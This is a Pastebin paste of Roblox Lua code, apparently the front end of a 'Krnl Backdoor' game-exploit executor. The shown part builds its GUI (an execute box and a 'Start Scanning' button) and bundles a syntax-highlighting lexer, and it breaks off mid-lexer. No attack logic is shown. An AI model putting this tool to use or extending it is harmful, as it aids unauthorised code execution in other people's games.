AA122294

Krnl Backdoor

Apr 2nd, 2025
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.75 KB | None | 0 0
  1. --[=[
  2. d888b db db d888888b .d888b. db db db .d8b.
  3. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b
  4. 88 88 88 88 odD' 88 88 88 88ooo88
  5. 88 ooo 88 88 88 .88' 88 88 88 88~~~88
  6. 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88
  7. Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
  8. ]=]
  9.  
  10. -- Instances: 33 | Scripts: 3 | Modules: 3
  11. local G2L = {};
  12.  
  13. -- StarterGui.LALOL Hub Backdoor
  14. G2L["1"] = Instance.new("ScreenGui", game:GetService('CoreGui'):WaitForChild('RobloxGui'));
  15. G2L["1"]["Name"] = [[Krnl Backdoor]];
  16. G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
  17. G2L["1"]["ResetOnSpawn"] = false;
  18.  
  19. -- StarterGui.LALOL Hub Backdoor.Frame
  20. G2L["2"] = Instance.new("Frame", G2L["1"]);
  21. G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
  22. G2L["2"]["Size"] = UDim2.new(0, 482, 0, 276);
  23. G2L["2"]["Position"] = UDim2.new(0.27320125699043274, 0, 0.3018597960472107, 0);
  24.  
  25. -- StarterGui.LALOL Hub Backdoor.Frame.UIStroke
  26. G2L["3"] = Instance.new("UIStroke", G2L["2"]);
  27. G2L["3"]["Color"] = Color3.fromRGB(255, 255, 255);
  28.  
  29. -- StarterGui.LALOL Hub Backdoor.Frame.UIStroke.UIGradient
  30. G2L["4"] = Instance.new("UIGradient", G2L["3"]);
  31. G2L["4"]["Rotation"] = 50;
  32. G2L["4"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};
  33.  
  34. -- StarterGui.LALOL Hub Backdoor.Frame.UICorner
  35. G2L["5"] = Instance.new("UICorner", G2L["2"]);
  36.  
  37.  
  38. -- StarterGui.LALOL Hub Backdoor.Frame.Executor
  39. G2L["6"] = Instance.new("Folder", G2L["2"]);
  40. G2L["6"]["Name"] = [[Executor]];
  41.  
  42. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute
  43. G2L["7"] = Instance.new("Frame", G2L["6"]);
  44. G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
  45. G2L["7"]["BackgroundTransparency"] = 1;
  46. G2L["7"]["Size"] = UDim2.new(0, 290, 0, 28);
  47. G2L["7"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.8708109259605408, 0);
  48. G2L["7"]["Name"] = [[Execute]];
  49.  
  50. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.Button
  51. G2L["8"] = Instance.new("TextButton", G2L["7"]);
  52. G2L["8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
  53. G2L["8"]["TextSize"] = 22;
  54. G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
  55. G2L["8"]["TextColor3"] = Color3.fromRGB(51, 215, 0);
  56. G2L["8"]["Size"] = UDim2.new(1, 0, 1, 0);
  57. G2L["8"]["Name"] = [[Button]];
  58. G2L["8"]["Text"] = [[Execute]];
  59. G2L["8"]["BackgroundTransparency"] = 1;
  60.  
  61. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UICorner
  62. G2L["9"] = Instance.new("UICorner", G2L["7"]);
  63.  
  64.  
  65. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Execute.UIStroke
  66. G2L["a"] = Instance.new("UIStroke", G2L["7"]);
  67. G2L["a"]["Color"] = Color3.fromRGB(51, 215, 0);
  68.  
  69. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear
  70. G2L["b"] = Instance.new("Frame", G2L["6"]);
  71. G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
  72. G2L["b"]["BackgroundTransparency"] = 1;
  73. G2L["b"]["Size"] = UDim2.new(0, 162, 0, 28);
  74. G2L["b"]["Position"] = UDim2.new(0.6400582790374756, 0, 0.8708109855651855, 0);
  75. G2L["b"]["Name"] = [[Clear]];
  76.  
  77. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.Button
  78. G2L["c"] = Instance.new("TextButton", G2L["b"]);
  79. G2L["c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
  80. G2L["c"]["TextSize"] = 22;
  81. G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
  82. G2L["c"]["TextColor3"] = Color3.fromRGB(36, 236, 203);
  83. G2L["c"]["Size"] = UDim2.new(1, 0, 1, 0);
  84. G2L["c"]["Name"] = [[Button]];
  85. G2L["c"]["Text"] = [[Clear]];
  86. G2L["c"]["BackgroundTransparency"] = 1;
  87.  
  88. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UICorner
  89. G2L["d"] = Instance.new("UICorner", G2L["b"]);
  90.  
  91.  
  92. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.Clear.UIStroke
  93. G2L["e"] = Instance.new("UIStroke", G2L["b"]);
  94. G2L["e"]["Color"] = Color3.fromRGB(36, 236, 203);
  95.  
  96. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox
  97. G2L["f"] = Instance.new("Frame", G2L["6"]);
  98. G2L["f"]["BackgroundColor3"] = Color3.fromRGB(22, 22, 22);
  99. G2L["f"]["Size"] = UDim2.new(0, 462, 0, 163);
  100. G2L["f"]["Position"] = UDim2.new(0.01962907239794731, 0, 0.24310137331485748, 0);
  101. G2L["f"]["Name"] = [[ExecutorBox]];
  102.  
  103. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.UICorner
  104. G2L["10"] = Instance.new("UICorner", G2L["f"]);
  105.  
  106.  
  107. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox
  108. G2L["11"] = Instance.new("TextBox", G2L["f"]);
  109. G2L["11"]["TextSize"] = 14;
  110. G2L["11"]["TextXAlignment"] = Enum.TextXAlignment.Left;
  111. G2L["11"]["TextWrapped"] = true;
  112. G2L["11"]["TextYAlignment"] = Enum.TextYAlignment.Top;
  113. G2L["11"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
  114. G2L["11"]["TextColor3"] = Color3.fromRGB(198, 119, 88);
  115. G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
  116. G2L["11"]["MultiLine"] = true;
  117. G2L["11"]["BackgroundTransparency"] = 1;
  118. G2L["11"]["PlaceholderText"] = [[Tema Krnl backdoor on top ]];
  119. G2L["11"]["Size"] = UDim2.new(0, 448, 0, 150);
  120. G2L["11"]["Text"] = [[]];
  121. G2L["11"]["Position"] = UDim2.new(0.015692640095949173, 0, 0.042270027101039886, 0);
  122. G2L["11"]["ClearTextOnFocus"] = false;
  123.  
  124. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight
  125. G2L["12"] = Instance.new("LocalScript", G2L["11"]);
  126. G2L["12"]["Name"] = [[Highlight]];
  127.  
  128. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter
  129. G2L["13"] = Instance.new("ModuleScript", G2L["12"]);
  130. G2L["13"]["Name"] = [[Highlighter]];
  131.  
  132. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer
  133. G2L["14"] = Instance.new("ModuleScript", G2L["13"]);
  134. G2L["14"]["Name"] = [[lexer]];
  135.  
  136. -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight.Highlighter.lexer.language
  137. G2L["15"] = Instance.new("ModuleScript", G2L["14"]);
  138. G2L["15"]["Name"] = [[language]];
  139.  
  140. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner
  141. G2L["16"] = Instance.new("Frame", G2L["2"]);
  142. G2L["16"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
  143. G2L["16"]["BackgroundTransparency"] = 1;
  144. G2L["16"]["Size"] = UDim2.new(0, 370, 0, 107);
  145. G2L["16"]["Position"] = UDim2.new(0.1166670024394989, 0, 0.30478382110595703, 0);
  146. G2L["16"]["Visible"] = false;
  147. G2L["16"]["Name"] = [[Scanner]];
  148.  
  149. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke
  150. G2L["17"] = Instance.new("UIStroke", G2L["16"]);
  151. G2L["17"]["Color"] = Color3.fromRGB(255, 255, 255);
  152.  
  153. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UIStroke.UIGradient
  154. G2L["18"] = Instance.new("UIGradient", G2L["17"]);
  155. G2L["18"]["Rotation"] = 50;
  156. G2L["18"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};
  157.  
  158. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.UICorner
  159. G2L["19"] = Instance.new("UICorner", G2L["16"]);
  160.  
  161.  
  162. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button
  163. G2L["1a"] = Instance.new("TextButton", G2L["16"]);
  164. G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
  165. G2L["1a"]["TextSize"] = 43;
  166. G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/GothamSSm.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
  167. G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
  168. G2L["1a"]["Size"] = UDim2.new(1, 0, 1, 0);
  169. G2L["1a"]["Name"] = [[Button]];
  170. G2L["1a"]["Text"] = [[Start Scanning]];
  171. G2L["1a"]["BackgroundTransparency"] = 1;
  172.  
  173. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIGradient
  174. G2L["1b"] = Instance.new("UIGradient", G2L["1a"]);
  175. G2L["1b"]["Rotation"] = 50;
  176. G2L["1b"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 255, 108)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 231, 171))};
  177.  
  178. -- StarterGui.LALOL Hub Backdoor.Frame.Scanner.Button.UIStroke
  179. G2L["1c"] = Instance.new("UIStroke", G2L["1a"]);
  180. G2L["1c"]["Color"] = Color3.fromRGB(255, 255, 255);
  181.  
  182. -- StarterGui.LALOL Hub Backdoor.Frame.TextLabel
  183. G2L["1d"] = Instance.new("TextLabel", G2L["2"]);
  184. G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
  185. G2L["1d"]["FontFace"] = Font.new([[rbxassetid://12187365977]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
  186. G2L["1d"]["TextSize"] = 49;
  187. G2L["1d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
  188. G2L["1d"]["Size"] = UDim2.new(0, 460, 0, 50);
  189. G2L["1d"]["Text"] = [[LALOL Hub Backdoor]];
  190. G2L["1d"]["BackgroundTransparency"] = 1;
  191. G2L["1d"]["Position"] = UDim2.new(0.02169983461499214, 0, 0.025362318381667137, 0);
  192.  
  193. -- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke
  194. G2L["1e"] = Instance.new("UIStroke", G2L["1d"]);
  195. G2L["1e"]["Color"] = Color3.fromRGB(255, 255, 255);
  196.  
  197. -- StarterGui.LALOL Hub Backdoor.Frame.TextLabel.UIStroke.UIGradient
  198. G2L["1f"] = Instance.new("UIGradient", G2L["1e"]);
  199. G2L["1f"]["Rotation"] = 50;
  200. G2L["1f"]["Color"] = ColorSequence.new{ColorSequenceKeypoint.new(0.000, Color3.fromRGB(255, 0, 0)),ColorSequenceKeypoint.new(1.000, Color3.fromRGB(255, 0, 255))};
  201.  
  202. -- StarterGui.LALOL Hub Backdoor.LocalScript
  203. G2L["20"] = Instance.new("LocalScript", G2L["1"]);
  204.  
  205.  
  206. -- StarterGui.LALOL Hub Backdoor.Dragify
  207. G2L["21"] = Instance.new("LocalScript", G2L["1"]);
  208. G2L["21"]["Name"] = [[Dragify]];
  209.  
  210. -- Require G2L wrapper
  211. local G2L_REQUIRE = require;
  212. local G2L_MODULES = {};
  213. local function require(Module:ModuleScript)
  214. local ModuleState = G2L_MODULES[Module];
  215. if ModuleState then
  216. if not ModuleState.Required then
  217. ModuleState.Required = true;
  218. ModuleState.Value = ModuleState.Closure();
  219. end
  220. return ModuleState.Value;
  221. end;
  222. return G2L_REQUIRE(Module);
  223. end
  224.  
  225. G2L_MODULES[G2L["13"]] = {
  226. Closure = function()
  227. local script = G2L["13"];
  228. --[[
  229. export type HighlighterColors = { [string]: Color3 }
  230.  
  231. export type TextObject = TextLabel | TextBox
  232.  
  233. export type HighlightProps = {
  234. textObject: TextObject,
  235. src: string?,
  236. forceUpdate: boolean?,
  237. lexer: Lexer?,
  238. customLang: { [string]: string }?
  239. }
  240.  
  241. export type Lexer = {
  242. scan: (src: string) -> () -> (string, string),
  243. navigator: () -> any,
  244. finished: boolean?,
  245. }
  246.  
  247. export type Highlighter = {
  248. defaultLexer: Lexer,
  249. setTokenColors: (colors: HighlighterColors?) -> (),
  250. highlight: (props: HighlightProps) -> (() -> ())?,
  251. refresh: () -> (),
  252. }
  253.  
  254. export type ObjectData = {
  255. Text: string,
  256. Labels: { TextLabel },
  257. Lines: { string },
  258. Lexer: Lexer?,
  259. CustomLang: { [string]: string }?,
  260. }
  261. --]]
  262.  
  263. local function SanitizeRichText(s: string): string
  264. return string.gsub(
  265. string.gsub(string.gsub(string.gsub(string.gsub(s, "&", "&amp;"), "<", "&lt;"), ">", "&gt;"), '"', "&quot;"),
  266. "'",
  267. "&apos;"
  268. )
  269. end
  270.  
  271. local function SanitizeTabs(s: string): string
  272. return string.gsub(s, "\t", " ")
  273. end
  274.  
  275. local function SanitizeControl(s: string): string
  276. return string.gsub(s, "[\0\1\2\3\4\5\6\7\8\11\12\13\14\15\16\17\18\19\20\21\22\23\24\25\26\27\28\29\30\31]+", "")
  277. end
  278.  
  279. local TokenColors: HighlighterColors = {
  280. ["background"] = Color3.fromRGB(47, 47, 47),
  281. ["iden"] = Color3.fromRGB(234, 234, 234),
  282. ["keyword"] = Color3.fromRGB(215, 174, 255),
  283. ["builtin"] = Color3.fromRGB(131, 206, 255),
  284. ["string"] = Color3.fromRGB(196, 255, 193),
  285. ["number"] = Color3.fromRGB(255, 125, 125),
  286. ["comment"] = Color3.fromRGB(140, 140, 155),
  287. ["operator"] = Color3.fromRGB(255, 239, 148),
  288. ["custom"] = Color3.fromRGB(119, 122, 255),
  289. }
  290. local ColorFormatter: { [Color3]: string } = {}
  291. local LastData: { [TextObject]: ObjectData } = {}
  292. local Cleanups: { [TextObject]: () -> () } = {}
  293.  
  294. local Highlighter = {
  295. defaultLexer = require(script.lexer),
  296. }
  297.  
  298. function Highlighter.highlight(props: HighlightProps)
  299. -- Gather props
  300. local textObject = props.textObject
  301. local src = SanitizeTabs(SanitizeControl(props.src or textObject.Text))
  302. local lexer = props.lexer or Highlighter.defaultLexer
  303. local customLang = props.customLang
  304. local forceUpdate = props.forceUpdate
  305.  
  306. -- Avoid updating when unnecessary
  307. local data = LastData[textObject]
  308. if data == nil then
  309. data = {
  310. Text = "",
  311. Labels = {},
  312. Lines = {},
  313. Lexer = lexer,
  314. CustomLang = customLang,
  315. }
  316. LastData[textObject] = data
  317. elseif forceUpdate ~= true and data.Text == src then
  318. return
  319. end
  320.  
  321. local lineLabels = data.Labels
  322. local previousLines = data.Lines
  323.  
  324. local lines = string.split(src, "\n")
  325.  
  326. data.Lines = lines
  327. data.Text = src
  328. data.Lexer = lexer
  329. data.CustomLang = customLang
  330.  
  331. -- Ensure valid object properties
  332. textObject.RichText = false
  333. textObject.Text = src
  334. textObject.TextXAlignment = Enum.TextXAlignment.Left
  335. textObject.TextYAlignment = Enum.TextYAlignment.Top
  336. textObject.BackgroundColor3 = TokenColors.background
  337. textObject.TextColor3 = TokenColors.iden
  338. textObject.TextTransparency = 0.5
  339.  
  340. -- Build the highlight labels
  341. local lineFolder = textObject:FindFirstChild("SyntaxHighlights")
  342. if lineFolder == nil then
  343. local newLineFolder = Instance.new("Folder")
  344. newLineFolder.Name = "SyntaxHighlights"
  345. newLineFolder.Parent = textObject
  346.  
  347. lineFolder = newLineFolder
  348. end
  349.  
  350. -- Add a cleanup handler for this textObject
  351. local cleanup = Cleanups[textObject]
  352. if not cleanup then
  353. local connections: { RBXScriptConnection } = {}
  354. local function newCleanup()
  355. for _, label in ipairs(lineLabels) do
  356. label:Destroy()
  357. end
  358. table.clear(lineLabels)
  359. lineLabels = nil
  360.  
  361. LastData[textObject] = nil
  362. Cleanups[textObject] = nil
  363.  
  364. for _, connection in connections do
  365. connection:Disconnect()
  366. end
  367. table.clear(connections)
  368. connections = nil
  369. end
  370. Cleanups[textObject] = newCleanup
  371. cleanup = newCleanup
  372.  
  373. table.insert(
  374. connections,
  375. textObject.AncestryChanged:Connect(function()
  376. if textObject.Parent then
  377. return
  378. end
  379.  
  380. cleanup()
  381. end)
  382. )
  383. table.insert(
  384. connections,
  385. textObject:GetPropertyChangedSignal("TextBounds"):Connect(function()
  386. Highlighter.highlight({
  387. textObject = textObject,
  388. forceUpdate = true,
  389. lexer = lexer,
  390. customLang = customLang,
  391. })
  392. end)
  393. )
  394. table.insert(
  395. connections,
  396. textObject:GetPropertyChangedSignal("Text"):Connect(function()
  397. Highlighter.highlight({
  398. textObject = textObject,
  399. lexer = lexer,
  400. customLang = customLang,
  401. })
  402. end)
  403. )
  404. table.insert(
  405. connections,
  406. textObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
  407. Highlighter.highlight({
  408. textObject = textObject,
  409. forceUpdate = true,
  410. lexer = lexer,
  411. customLang = customLang,
  412. })
  413. end)
  414. )
  415. end
  416.  
  417. -- Shortcut empty labels
  418. if src == "" then
  419. for l=1, #lineLabels do
  420. if lineLabels[l].Text == "" then continue end
  421. lineLabels[l].Text = ""
  422. end
  423. return cleanup
  424. end
  425.  
  426. -- Wait for TextBounds to be non-NaN and non-zero because Roblox
  427. local textBounds = textObject.TextBounds
  428. while (textBounds.Y ~= textBounds.Y) or (textBounds.Y < 1) do
  429. task.wait()
  430. textBounds = textObject.TextBounds
  431. end
  432.  
  433. if LastData[textObject] == nil then
  434. -- Got cleaned up while we were waiting
  435. return cleanup
  436. end
  437.  
  438. local numLines = #lines
  439. local textHeight = textBounds.Y / numLines * textObject.LineHeight
  440.  
  441. local richText, index, lineNumber = table.create(5), 0, 1
  442. for token: string, content: string in lexer.scan(src) do
  443. local Color =
  444. if customLang and customLang[content] then
  445. TokenColors["custom"]
  446. else
  447. TokenColors[token] or TokenColors["iden"]
  448.  
  449. local tokenLines = string.split(SanitizeRichText(content), "\n")
  450.  
  451. for l, line in ipairs(tokenLines) do
  452. -- Find line label
  453. local lineLabel = lineLabels[lineNumber]
  454. if not lineLabel then
  455. local newLabel = Instance.new("TextLabel")
  456. newLabel.Name = "Line_" .. lineNumber
  457. newLabel.RichText = true
  458. newLabel.BackgroundTransparency = 1
  459. newLabel.Text = ""
  460. newLabel.TextXAlignment = Enum.TextXAlignment.Left
  461. newLabel.TextYAlignment = Enum.TextYAlignment.Top
  462. newLabel.Parent = lineFolder
  463. newLabel.TextWrapped=true
  464. lineLabels[lineNumber] = newLabel
  465. lineLabel = newLabel
  466. end
  467.  
  468. -- Align line label
  469. lineLabel.TextColor3 = TokenColors["iden"]
  470. lineLabel.Font = textObject.Font
  471. lineLabel.TextSize = textObject.TextSize
  472. lineLabel.Size = UDim2.new(1, 0, 0, math.ceil(textHeight))
  473. lineLabel.Position = UDim2.fromScale(0, textHeight * (lineNumber - 1) / textObject.AbsoluteSize.Y)
  474.  
  475. -- If multiline token, then set line & move to next
  476. if l > 1 then
  477. if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
  478. -- Set line
  479. lineLabels[lineNumber].Text = table.concat(richText)
  480. end
  481. -- Move to next line
  482. lineNumber += 1
  483. index = 0
  484. table.clear(richText)
  485. end
  486.  
  487. -- If changed, add token to line
  488. if forceUpdate or lines[lineNumber] ~= previousLines[lineNumber] then
  489. index += 1
  490. -- Only add RichText tags when the color is non-default and the characters are non-whitespace
  491. if Color ~= TokenColors["iden"] and string.find(line, "[%S%C]") then
  492. richText[index] = string.format(ColorFormatter[Color], line)
  493. else
  494. richText[index] = line
  495. end
  496. end
  497. end
  498. end
  499.  
  500. -- Set final line
  501. if richText[1] and lineLabels[lineNumber] then
  502. lineLabels[lineNumber].Text = table.concat(richText)
  503. end
  504.  
  505. -- Clear unused line labels
  506. for l=lineNumber+1, #lineLabels do
  507. if lineLabels[l].Text == "" then continue end
  508. lineLabels[l].Text = ""
  509. end
  510.  
  511. return cleanup
  512. end
  513.  
  514. function Highlighter.refresh(): ()
  515. -- Rehighlight existing labels using latest colors
  516. for textObject, data in pairs(LastData) do
  517. for _, lineLabel in ipairs(data.Labels) do
  518. lineLabel.TextColor3 = TokenColors["iden"]
  519. end
  520.  
  521. Highlighter.highlight({
  522. textObject = textObject,
  523. forceUpdate = true,
  524. src = data.Text,
  525. lexer = data.Lexer,
  526. customLang = data.CustomLang,
  527. })
  528. end
  529. end
  530.  
  531. function Highlighter.setTokenColors(colors: HighlighterColors)
  532. for token, color in colors do
  533. TokenColors[token] = color
  534. ColorFormatter[color] = string.format(
  535. '<font color="#%.2x%.2x%.2x">',
  536. color.R * 255,
  537. color.G * 255,
  538. color.B * 255
  539. ) .. "%s</font>"
  540. end
  541.  
  542. Highlighter.refresh()
  543. end
  544. Highlighter.setTokenColors(TokenColors)
  545.  
  546. return Highlighter :: Highlighter
  547.  
  548. end;
  549. };
  550. G2L_MODULES[G2L["14"]] = {
  551. Closure = function()
  552. local script = G2L["14"];
  553. --[=[
  554. Lexical scanner for creating a sequence of tokens from Lua source code.
  555. This is a heavily modified and Roblox-optimized version of
  556. the original Penlight Lexer module:
  557. https://github.com/stevedonovan/Penlight
  558. Authors:
  559. stevedonovan <https://github.com/stevedonovan> ----------- Original Penlight lexer author
  560. ryanjmulder <https://github.com/ryanjmulder> ------------- Penlight lexer contributer
  561. mpeterv <https://github.com/mpeterv> --------------------- Penlight lexer contributer
  562. Tieske <https://github.com/Tieske> ----------------------- Penlight lexer contributer
  563. boatbomber <https://github.com/boatbomber> --------------- Roblox port, added builtin token,
  564. added patterns for incomplete syntax, bug fixes,
  565. behavior changes, token optimization, thread optimization
  566. Added lexer.navigator() for non-sequential reads
  567. Sleitnick <https://github.com/Sleitnick> ----------------- Roblox optimizations
  568. howmanysmall <https://github.com/howmanysmall> ----------- Lua + Roblox optimizations
  569.  
  570. List of possible tokens:
  571. - iden
  572. - keyword
  573. - builtin
  574. - string
  575. - number
  576. - comment
  577. - operator
  578. --]=]
  579.  
  580. local lexer = {}
  581.  
  582. local Prefix, Suffix, Cleaner = "^[%c%s]*", "[%c%s]*", "[%c%s]+"
  583. local UNICODE = "[%z\x01-\x7F\xC2-\xF4][\x80-\xBF]+"
  584. local NUMBER_A = "0[xX][%da-fA-F_]+"
  585. local NUMBER_B = "0[bB][01_]+"
  586. local NUMBER_C = "%d+%.?%d*[eE][%+%-]?%d+"
  587. local NUMBER_D = "%d+[%._]?[%d_eE]*"
  588. local OPERATORS = "[:;<>/~%*%(%)%-={},%.#%^%+%%]+"
  589. local BRACKETS = "[%[%]]+" -- needs to be separate pattern from other operators or it'll mess up multiline strings
  590. local IDEN = "[%a_][%w_]*"
  591. local STRING_EMPTY = "(['\"])%1" --Empty String
  592. local STRING_PLAIN = "(['\"])[^\n]-([^\\]%1)" --TODO: Handle escaping escapes
  593. local STRING_INTER = "`[^\n]-`"
  594. local STRING_INCOMP_A = "(['\"]).-\n" --Incompleted String with next line
  595. local STRING_INCOMP_B = "(['\"])[^\n]*" --Incompleted String without next line
  596. local STRING_MULTI = "%[(=*)%[.-%]%1%]" --Multiline-String
  597. local STRING_MULTI_INCOMP = "%[=*%[.-.*" --Incompleted Multiline-String
  598. local COMMENT_MULTI = "%-%-%[(=*)%[.-%]%1%]" --Completed Multiline-Comment
  599. local COMMENT_MULTI_INCOMP = "%-%-%[=*%[.-.*" --Incompleted Multiline-Comment
  600. local COMMENT_PLAIN = "%-%-.-\n" --Completed Singleline-Comment
  601. local COMMENT_INCOMP = "%-%-.*" --Incompleted Singleline-Comment
  602. -- local TYPED_VAR = ":%s*([%w%?%| \t]+%s*)" --Typed variable, parameter, function
  603.  
  604. local lang = require(script.language)
  605. local lua_keyword = lang.keyword
  606. local lua_builtin = lang.builtin
  607. local lua_libraries = lang.libraries
  608.  
  609. lexer.language = lang
  610.  
  611. local lua_matches = {
  612. -- Indentifiers
  613. { Prefix .. IDEN .. Suffix, "var" },
  614.  
  615. -- Numbers
  616. { Prefix .. NUMBER_A .. Suffix, "number" },
  617. { Prefix .. NUMBER_B .. Suffix, "number" },
  618. { Prefix .. NUMBER_C .. Suffix, "number" },
  619. { Prefix .. NUMBER_D .. Suffix, "number" },
  620.  
  621. -- Strings
  622. { Prefix .. STRING_EMPTY .. Suffix, "string" },
  623. { Prefix .. STRING_PLAIN .. Suffix, "string" },
  624. { Prefix .. STRING_INCOMP_A .. Suffix, "string" },
  625. { Prefix .. STRING_INCOMP_B .. Suffix, "string" },
  626. { Prefix .. STRING_MULTI .. Suffix, "string" },
  627. { Prefix .. STRING_MULTI_INCOMP .. Suffix, "string" },
  628. { Prefix .. STRING_INTER .. Suffix, "string_inter" },
  629.  
  630. -- Comments
  631. { Prefix .. COMMENT_MULTI .. Suffix, "comment" },
  632. { Prefix .. COMMENT_MULTI_INCOMP .. Suffix, "comment" },
  633. { Prefix .. COMMENT_PLAIN .. Suffix, "comment" },
  634. { Prefix .. COMMENT_INCOMP .. Suffix, "comment" },
  635.  
  636. -- Operators
  637. { Prefix .. OPERATORS .. Suffix, "operator" },
  638. { Prefix .. BRACKETS .. Suffix, "operator" },
  639.  
  640. -- Unicode
  641. { Prefix .. UNICODE .. Suffix, "iden" },
  642.  
  643. -- Unknown
  644. { "^.", "iden" },
  645. }
  646.  
  647. -- To reduce the amount of table indexing during lexing, we separate the matches now
  648. local PATTERNS, TOKENS = {}, {}
  649. for i, m in lua_matches do
  650. PATTERNS[i] = m[1]
  651. TOKENS[i] = m[2]
  652. end
  653.  
  654. --- Create a plain token iterator from a string.
  655. -- @tparam string s a string.
  656.  
  657. function lexer.scan(s: string)
  658. local index = 1
  659. local size = #s
  660. local previousContent1, previousContent2, previousContent3, previousToken = "", "", "", ""
  661.  
  662. local thread = coroutine.create(function()
  663. while index <= size do
  664. local matched = false
  665. for tokenType, pattern in ipairs(PATTERNS) do
  666. -- Find match
  667. local start, finish = string.find(s, pattern, index)
  668. if start == nil then continue end
  669.  
  670. -- Move head
  671. index = finish + 1
  672. matched = true
  673.  
  674. -- Gather results
  675. local content = string.sub(s, start, finish)
  676. local rawToken = TOKENS[tokenType]
  677. local processedToken = rawToken
  678.  
  679. -- Process token
  680. if rawToken == "var" then
  681. -- Since we merge spaces into the tok, we need to remove them
  682. -- in order to check the actual word it contains
  683. local cleanContent = string.gsub(content, Cleaner, "")
  684.  
  685. if lua_keyword[cleanContent] then
  686. processedToken = "keyword"
  687. elseif lua_builtin[cleanContent] then
  688. processedToken = "builtin"
  689. elseif string.find(previousContent1, "%.[%s%c]*$") and previousToken ~= "comment" then
  690. -- The previous was a . so we need to special case indexing things
  691. local parent = string.gsub(previousContent2, Cleaner, "")
  692. local lib = lua_libraries[parent]
  693. if lib and lib[cleanContent] and not string.find(previousContent3, "%.[%s%c]*$") then
  694. -- Indexing a builtin lib with existing item, treat as a builtin
  695. processedToken = "builtin"
  696. else
  697. -- Indexing a non builtin, can't be treated as a keyword/builtin
  698. processedToken = "iden"
  699. end
  700. -- print("indexing",parent,"with",cleanTok,"as",t2)
  701. else
  702. processedToken = "iden"
  703. end
  704. elseif rawToken == "string_inter" then
  705. if not string.find(content, "[^\\]{") then
  706. -- This inter string doesnt actually have any inters
  707. processedToken = "string"
  708. else
  709. -- We're gonna do our own yields, so the main loop won't need to
  710. -- Our yields will be a mix of string and whatever is inside the inters
  711. processedToken = nil
  712.  
  713. local isString = true
  714. local subIndex = 1
  715. local subSize = #content
  716. while subIndex <= subSize do
  717. -- Find next brace
  718. local subStart, subFinish = string.find(content, "^.-[^\\][{}]", subIndex)
  719. if subStart == nil then
  720. -- No more braces, all string
  721. coroutine.yield("string", string.sub(content, subIndex))
  722. break
  723. end
  724.  
  725. if isString then
  726. -- We are currently a string
  727. subIndex = subFinish + 1
  728. coroutine.yield("string", string.sub(content, subStart, subFinish))
  729.  
  730. -- This brace opens code
  731. isString = false
  732. else
  733. -- We are currently in code
  734. subIndex = subFinish
  735. local subContent = string.sub(content, subStart, subFinish-1)
  736. for innerToken, innerContent in lexer.scan(subContent) do
  737. coroutine.yield(innerToken, innerContent)
  738. end
  739.  
  740. -- This brace opens string/closes code
  741. isString = true
  742. end
  743. end
  744. end
  745. end
  746.  
  747. -- Record last 3 tokens for the indexing context check
  748. previousContent3 = previousContent2
